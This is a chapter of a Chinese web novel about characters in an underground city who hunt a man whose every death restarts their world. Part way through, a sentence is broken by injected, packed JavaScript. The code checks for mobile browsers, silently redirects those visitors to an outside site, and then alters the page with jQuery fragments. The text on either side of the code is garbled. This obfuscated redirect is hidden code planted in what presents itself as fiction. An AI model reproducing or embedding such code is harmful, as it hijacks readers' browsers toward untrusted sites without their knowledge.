19. 地下城的暴君(19)

作品:《禁止迷恋反派![快穿]

    “我理解她不让你进去,但是为什么不让我进去?我肯定会有用的。”


    少晏靠在停尸间外的墙壁上,不解地发问。


    他现在健康多了,不仅可以自如行走,除了体力差一些,看上去依然有些过分瘦削,别的地方甚至几乎和常人无异了。


    当然,站在他身边的胥羽是无法回答这个问题的。


    不会说话的优势之一。


    “我很聪明的,她也知道这一点,那她为什么不让我进去。”


    少晏还在纠结这件事。


    胥羽抬起头看着四周,他始终保持着警惕状态,戒备着任何可能出现的突然袭击。


    “我和你说,我们两个,要团结一致。”


    少晏看向胥羽,认真地说。


    ?


    胥羽终于把视线施舍了一点过去。


    他不会说话,但少晏看得懂他的意思,他们之间的交流本来就不依赖于人类的语言。


    “为什么和我团结?对,她是更喜欢你,我承认。但是她喜欢你就像喜欢街上的流浪狗,你还不是家犬呢。”


    少晏翻了个白眼。


    ……


    胥羽的死亡射线盯住这个大放厥词的“兄弟”。


    “嘿,別不承认啊,你不仅想要到家犬,还想当最受宠爱的那个。我早知道你的,你比看上去贪心多了,不会说话的好处就是骗人也变得很容易。”


    少晏絮絮叨叨地说,


    “我和你说,我们要团结一致,你有爪子,我有脑子,我们要合作,才能把那个虚伪的烂鸟打下去。”


    少晏讨厌鹤棠,显而易见的。


    ……


    对于这部分,胥羽沉默着赞同了。


    “你知道我们首先应该做的是什么吗?”


    少晏若有所思。


    “啊,对,美容当然是其中一项,谁会不喜欢好看的人,但是这个不是重点!重点是现在要先变得有用!”


    “怎么有用?你看她现在最需要什么,不就知道了。”


    聪明的小狗已经有了计划。


    停尸间内。


    闵朝言看着从冰柜里被推出来的两具尸体,不禁挑眉。


    直到此刻,她才有种实感:


    这里不仅仅是一个游戏副本,也是一个尽管不完整,不独立,但依然存在着的小宇宙。


    某种意义上,这些尸体并不是简单的游戏数据,而是真实存在过的生命。


    当然,她并不会为了他人的生命默哀,


    只是不得不承认他们“存在”着,或者存在过。


    “非常优秀的缝合技术。”


    鹤棠点评。


    “把两百多块尸体碎片拼凑起来可不是很容易的工作。”


    站在停尸床旁边的女人笑着回答。


    她的脸上带着深刻而狰狞的疤痕,笑起来的时候,显得更加可怖。


    “很整齐的缝线。”


    闵朝言看着尸体上的缝合痕迹,若有所思。


    “伤口也是。”


    “对,他们不是被撕咬开的,而是被切开的。”


    疤痕女人回答,


    “同时,被切开的。”


    她又强调了一句。


    人类肢体在遭受创伤时,会呈现出不同的创伤痕迹和“生活反应”。


    例如皮肤和肌肉组织的创面痕迹,是被整齐切断,还是不规则撕裂,这代表着创伤的形式。


    而生活反应,例如出血程度,肌肉收缩反应,损伤一致性等等,代表着创伤形成的顺序。


    这些都是无可掩盖和辩驳的痕迹。


    “就算予烬变成同时长了两百十只手的怪物,他也没办法同时拿到那么多武器吧?”


    闵朝言问。


    “你已经往两百只手的怪物身上想了,想不到也许有个东西叫‘异能’吗?”


    折日嗤笑了一声。


    “我确实不认为会有‘异能’存在。”


    闵朝言点头。


    “为什么?在经历过这一切之后,我什么都能相信。”


    折日反问。


    ……


    闵朝言沉默了。


    「因为这个副本就是畸变世界观,不是异能世界观啊!当然不会有什么主角突然觉醒异能然后大杀四方的奇怪片段了。」


    系统无力地大喊。


    「而且,如果予烬已经死了,为什么他的崩坏值还是冻结的?」


    系统一直搞不懂这点,


    闵朝言也是。


    “我相信她。”


    鹤棠站在闵朝言身后,开口道:


    “一定是因为什么别的原因。”


    这下轮到折日沉默了,这个身材矮小健硕的女人看着鹤棠好半天,终于默默说了一句:


    “认识这么多次了,我第一次知道你还是个恋爱脑。”


    “虽然我的确是,但这不是我相信她的原因。”


    鹤棠笑了一声,摇头,


    “总之……相信我吧。”


    折日冷哼一声,看向闵朝言:


    “无所谓他到底变成了什么东西,总之,我们去杀了他。”


    “好啊,我们去哪里杀?”


    闵朝言问。


    “去他真正的‘家’。”


    回答这个问题的不是折日,而是站在停尸床前的疤女。


    地下城·贫民窟


    疤女带着几人来到了一个隐蔽的巷子里,这是通往贫民窟的小路之一。


    疤女,这是她自我介绍时使用的代号,她没有说自己的名字,很显然,这也并不是一个应该追问的问题。


    “他的老家在这里?”


    鹤棠站在昏暗小巷的入口里,缓缓皱起眉。


    “予烬是个聪明人,他知道他在希望联盟不受信任,所以很早就开始默默在这里安排势力了。”


    折日回答。


    “为什么是这里?”


    闵朝言不解。


    尽管一直被暗中防备,接触不到真正的核心资源,


    但予烬表面上依然是希望联盟的顶级研究员,所能接触到的地下城权贵数不胜数,


    他为什么要在贫民窟里培植势力?


    地下城的资源分布极度不均,阶级差距更是不可想象,


    一个权贵谈笑间能带给予烬的资源和助力,远超过一百一千个贫民拼命争夺来的东西。


    “因为只有在这里,善意和尊重能换来一个人的忠诚,愿意为他而死的忠诚。”


    鹤棠回答。


    闵朝言送了耸肩,不置可否。


    在这个话题上,她确实没有发言权,闵朝言既不对任何人献上忠诚,也懒得收取任何人的忠诚。


    几人顺着入口向下,钻进贫民窟。


    如果说地下城已经是人类面对末日,不得不做出的悲惨退让,那么地下城里的贫民窟,大概就是这种悲惨梦魇的总和具现。


    在这里,几乎没有任何“阳光”的存在,所有的光源来自于人造,人们几乎活在永夜当中。


    不断向下挖掘出来的洞窟没有严格意义上的道路,向上和向下,比起走路,更加依靠攀爬。


    “就在这里了。”


    疤女停下脚步。


    然而,她停下的地方并不是任何一扇门前,而是几条错综复杂的道路交汇。


    “没有具体位置?”


    闵朝言问。


    “他很警觉,我们的人只能跟到这里。”


    折日回答。


    就像是贫民窟里的任何一个巢


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365894|182368||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    穴一样,六条小径通往着被土层掩盖着的数十扇紧紧挤在一起的大门,每一扇都散发着干枯濒死的气息。


    “所以,我们现在要从这七十九扇门里找出来属于予烬的那一个?”


    少晏不解,


    “吴城死了,希望联盟和和平鸽的头领都在这里,为什么要猜,全炸开不行吗?”


    这个时候还隐藏什么行踪?


    “不行。”


    出声反对的是疤女。


    “这里的人很团结,你强行打开其中一个人的门,就等于和他们所有人宣战。”


    蚁群必须紧密抱团,才能生存。


    这是属于地下更深处的生存法则。


    “那就都——”


    少晏刚开口,又马上顿住,


    “我来找。”


    “不用,就是这个。”


    闵朝言走到其中一扇门前,抬手擦去上面的灰。


    同样灰扑扑的石头门,看上去没什么特别的,只是抬手摸上去的时候格外冰凉。


    “你怎么发现的?”


    折日走上前观察。


    “感觉。”


    闵朝言回答。


    当然,事实并非如此。


    「除非予烬有钱到能给住在这里的每个人都换上外部石材内在金属还附带生物监测功能的超高级大门,不然——肯定就是这个!」


    系统很自信。


    在这个深度的地下,几乎所有需要联网的无线监测仪器都会失去效用,


    除了系统。


    “这扇门有密码。”


    鹤棠尝试打开。


    下一秒,胥羽走上前,手掌成爪状,硬生生将钢制的锁扯了下来。


    他的指甲陷进金属里,抽出手的时候被扯断,鲜血还没来得及涌流,伤口就已经愈合。


    ……


    「哇,在一个副本里足够写三分钟揭秘剧情和两个解谜小游戏的设置,他就这么破解了。」


    系统吐槽道。


    ‘对于这一点,我很满意。’


    闵朝言说。


    她走进入予烬的“巢穴”。


    “很鲁莽的尝试。”


    鹤棠看向少晏,他当然看出了这个行为真正的发动者。


    “成功的鲁莽,等于‘看准时机’。”


    少晏笑着回答,跟着闵朝言的脚步走了进去。


    二人擦肩而过,没有给对方一个眼神。


    闵朝言当然没去注意这样的小交锋,她被眼前更震撼的东西吸引住了。


    “这是……”


    她看着密密麻麻布满了整面墙的画,愣住了。


    两米高的墙上,被贴满了无数个狂草式的速写,画面内容繁杂纷乱,出现了大量的扭曲画面,其中有很多画面的主角,都是予烬自己。


    画的角落里写着“梦境编号xx”,数字已经累计到了三位数。


    他在“梦”中已经死去了几百次。


    被倒吊着放血、割断脖子、扔进烈火焚烧……


    这简直就是主角死法大全。


    他没留下记忆,


    也没有忘记痛苦。


    “哈,看来他也不是真的一点都不记得。”


    折日嗤笑了一声,脸色却很难看。


    因为这些画面验证了一件事,


    一件让折日绝对不希望验证的事情。


    “看来他不是无法被杀死,”


    闵朝言抬手,扯下来一张速写,若有所思。


    “是每一次他被杀死的时候,这个宇宙就又会再一次重启。”


    所以,折日和鹤棠重复轮回了无数次,却一次也没有见到过予烬的死亡。


    因为予烬的死亡,


    意味着再一次“循环”的开启。